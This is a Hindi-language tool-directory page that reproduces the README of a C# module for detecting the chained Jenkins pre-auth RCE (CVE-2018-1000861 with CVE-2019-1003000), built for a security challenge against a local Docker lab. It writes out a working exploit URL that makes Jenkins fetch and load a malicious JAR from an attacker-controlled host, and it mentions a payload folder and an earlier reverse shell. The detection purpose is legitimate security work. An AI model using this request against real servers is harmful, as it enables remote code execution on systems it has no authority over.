Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
CVE-2019-1003000_RCE-DETECTION — एक C# मॉड्यूल यह पता लगाने के लिए है कि क्या कोई Jenkins सर्वर CVE-2019-1003000 में पाई गई RCE भेद्यता के प्रति संवेदनशील है (CVE-2018-1000861 के साथ जोड़ा गया प्री-ऑथ RCE के लिए) | Kitploit
उपकरण/GitHubGitHub/1nthekut/cve-2019-1003000_rce-detection
टोहीभेद्यता विश्लेषणशोषणवेब एप्लिकेशन शोषणजानकारी एकत्र करनापेनिट्रेशन टेस्टिंग
GitHub1nthekut/cve-2019-1003000_rce-detection

CVE-2019-1003000_RCE-DETECTION

एक C# मॉड्यूल यह पता लगाने के लिए है कि क्या कोई Jenkins सर्वर CVE-2019-1003000 में पाई गई RCE भेद्यता के प्रति संवेदनशील है (CVE-2018-1000861 के साथ जोड़ा गया प्री-ऑथ RCE के लिए)

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें
रिपॉजिटरी देखें
427 साल पहलेअभी तक समीक्षित नहीं

CVE-2019-1003000_RCE-पता लगाना

सामान्य सारांश

CVE-2018-1000861 और CVE-2019-1003000 को जोड़कर, मैंने Jenkins CI पर Pre-Auth RCE का परीक्षण करने के लिए एक मॉड्यूल बनाया। शुरू में, मैं यूज़रनेम और पासवर्ड और जॉब नाम के साथ भेद्यता का पता लगाने की कोशिश कर रहा था; हालांकि, मैंने सोचा कि दोनों भेद्यताओं को जोड़कर इस चुनौती का सामना करना अधिक यथार्थवादी और दिलचस्प होगा।

पूर्वापेक्षाएँ

अपने Windows, Linux, या macOS मशीन पर Visual Studio या .NET Core फ्रेमवर्क स्थापित होना चाहिए।

पर्यावरण सेटअप (मैंने यह कैसे किया)

  1. पहले DockerHub से निर्दिष्ट डॉकर संस्करण (चुनौती निर्देशों से) खींचा: docker pull jenkins/jenkins:2.121
  2. फिर एक bash स्क्रिप्ट (इस रेपो में मौजूद) लिखी जो भेद्य जेनकिंस सर्वर चलाने वाला एक नया डॉकर कंटेनर लॉन्च करती है और इसे स्थानीय मशीन से बाइंड माउंट किया
    • प्रशासक उपयोगकर्ता
      • उपयोगकर्ता नाम - Naruto
      • पासवर्ड - Uzumaki
      • नाम - Naruto
  3. फिर मैंने plugins.index.io पर जाकर जेनकिंस में स्थापित करने के लिए विशिष्ट प्लगइन संस्करण ढूंढे
    • Declarative Plugin - https://updates.jenkins.io/download/plugins/pipeline-model-definition/
    • Groovy - https://updates.jenkins.io/download/plugins/workflow-cps/
    • Script Security Plugin - https://updates.jenkins.io/download/plugins/script-security/
    • Declarative Extension Points - https://updates.jenkins.io/download/plugins/pipeline-model-extensions/
      • प्लगइन्स स्थापित करने के बाद, 'Manage plugins' में 'Advanced' अनुभाग पर जाएं और Update Site फ़ील्ड को साफ़ करें और सहेजें ताकि पुनरारंभ करने पर यह स्वचालित रूप से अपडेट न हो।

निष्पादन (आपको कैसे स्थापित और चलाना चाहिए)

  1. payload निर्देशिका पर जाएं और mvDir.sh चलाएं
    • ./mvDir.sh के रूप में चलाएं
      • इसे पहले से ही एक निष्पादन योग्य के रूप में चिह्नित किया जाना चाहिए, यदि नहीं तो chmod +x mvDir.sh चलाएं। यदि यह अभी भी काम नहीं करता है, तो आप इसे bash mvDir.sh के रूप में चला सकते हैं
      • यह कमांड दुर्भावनापूर्ण jar वाली निर्देशिका को कंप्यूटर की रूट पर ले जाएगा, जहां GET अनुरोध दुर्भावनापूर्ण अनुरोध में निर्दिष्ट jar फ़ाइल की खोज करते समय खोजेगा।
  2. jenkins_environment पर जाएं और ./run_vuln_jenkins.sh चलाएं
    • यदि उपरोक्त कमांड काम नहीं करता है तो ऊपर दिए गए निर्देशों का पालन करें।
    • यह bash स्क्रिप्ट उस डॉकर कंटेनर को चलाएगी जो भेद्य जेनकिंस सर्वर की मेजबानी कर रहा है (पर http://localhost:8080)
    • इसके अतिरिक्त, ./run_updated_jenkins.sh या bash run_updated_jenkins.sh चलाने से एक सुरक्षित, अद्यतित जेनकिंस सर्वर प्रारंभ होगा जो http://localhost:8000 पर चल रहा है और इसके विरुद्ध मॉड्यूल चलाने से पता चलेगा कि यह सुरक्षित है और CVE-2018-1000861 के साथ CVE-2019-1003000 के लिए भेद्य नहीं है।
  3. exploit-detection-code/jenkins-server-rce/ पर जाएं
    • यह प्रोजेक्ट .NET Core फ्रेमवर्क का उपयोग करके बनाया गया था। चलाने के लिए पहले कमांड को कॉल करें

विचार

मैंने जो प्रारंभिक योजना बनाई थी, वह समाधान तक पहुंचने के लिए एक अच्छा ढांचा था; हालांकि, जैसे-जैसे मैं आगे बढ़ा, मैंने पाया कि मैं बहुत सारे काम को आवश्यकता से अधिक जटिल बना रहा था। मैंने शुरू में RCE साबित करने के लिए अपनी होस्ट मशीन पर एक रिवर्स शेल लॉन्च करने के लिए एक bash स्क्रिप्ट बनाई थी। हालांकि, इस चुनौती का लक्ष्य यह साबित करना था कि भेद्यता मौजूद है। इस उदाहरण में, यह साबित करना था कि Jenkins संस्करण 2.121.2 पर निम्नलिखित प्लगइन्स के साथ RCE लॉन्च किया जा सकता है: Pipeline: Declarative Plugin से 1.3.4, Pipeline: Declarative Extension Points API से 1.3.4, Pipeline: Groovy Plugin से 2.61, Script Security Plugin से 1.49.

मुझे वास्तव में एक रिवर्स शेल बनाने और यह दिखाने की आवश्यकता नहीं थी कि मैं मनमानी कमांड लॉन्च कर सकता हूं। इस वजह से, इसे Windows और .nix आधारित ऑपरेटिंग सिस्टम दोनों पर पहचानना आसान हो जाता है। GET अनुरोध करने के बाद, मैंने पाया कि पेज सफलता के रूप में चिह्नित स्थिति के साथ प्रतिक्रिया करेगा या यह एक त्रुटि संदेश प्रिंट करेगा। हालांकि यह सुनिश्चित करने के लिए कि स्थिति सफलता गलत सकारात्मक नहीं थी, मैंने अपने होस्ट पर python -m SimpleHTTPSever 80 का उपयोग करके एक वेब सर्वर स्थापित किया और निर्दिष्ट दुर्भावनापूर्ण JAR फ़ाइल (जो payload फ़ोल्डर में मिल सकती है) के लिए कस्टम GET अनुरोध लॉन्च करने पर, यह देखा जा सकता है कि GET अनुरोध स्थानीय मशीन पर मिली jar फ़ाइल के सही पथ के साथ 200 स्थिति कोड के साथ प्रतिक्रिया करता है, जिससे भेद्यता के अस्तित्व को साबित किया जा सकता है। नीचे GET अनुरोध और संबंधित प्रतिक्रिया का एक नमूना है। विभिन्न फ़ाइल पथ (tw/ और www/) प्रत्येक में दुर्भावनापूर्ण jar है; वे केवल अलग-अलग पथ हैं जिन पर अनुरोध इसे खोजने के लिए नेविगेट कर रहा है।

GET अनुरोध

http://localhost:8080/securityRealm/user/Naruto/descriptorByName/org.jenkinsci.plugins.workflow.cps.CpsFlowDefinition/checkScriptCompile?value=@GrabConfig(disableChecksums=true)%0a@GrabResolver(name=%27orange.tw%27,%20root=%27http:[ip_address]/%27)%0a@Grab(group=%27vw.orange%27,%20module=%27poc%27,%20version=%271%27)%0aimport%20NixExploit;

उपयोग किए गए स्रोत

  • https://blog.orange.tw/2019/02/abusing-meta-programming-for-unauthenticated-rce.html?showComment=1556463533669#c1268121200706050658
  • https://blog.orange.tw/2019/01/hacking-jenkins-part-1-play-with-dynamic-routing.html
  • https://blog.alertlogic.com/emerging-threat-jenkins-plugins-remote-code-execution/
टूल डाउनलोड करें
dotnet build
  • मॉड्यूल चलाना
    • मॉड्यूल चलाने के लिए: dotnet run -- -u http://localhost:8080 -ip <host_ip_address>

      • http:// को भूलना नहीं महत्वपूर्ण है अन्यथा प्रोग्राम HTTP अपवाद फेंकेगा और आपको इसे फिर से चलाना होगा।
    • पैरामीटर विकल्प

      संक्षिप्तलंबाविवरण
      -uname--usernameजेनकिंस उपयोगकर्ता नाम
      -p--passwordजेनकिंस उपयोगकर्ता पासवर्ड
      -u--urlलक्ष्य url
      -ip--ip addressआईपी पता
      -v--verboseविस्तृत आउटपुट
    • -p, -uname अभी तक लागू नहीं किए गए हैं क्योंकि मैंने केवल प्री-ऑथ RCE का पता लगाने के लिए मॉड्यूल बनाया था, क्योंकि मुझे लगा कि यह Detectify के लिए अधिक यथार्थवादी होगा क्योंकि मुझे लगता है कि कंपनी का स्कैनर केवल एक लक्ष्य डोमेन पर इंगित किया जाएगा (और पासवर्ड और उपयोगकर्ता नाम जैसे कस्टम पैरामीटर नहीं होंगे क्योंकि यह किसी अन्य कंपनी के लिए दूसरे को देने के लिए असुरक्षित होगा भले ही वह अपनी सुरक्षा स्थिति में सुधार करने में मदद करने का प्रयास कर रही हो)।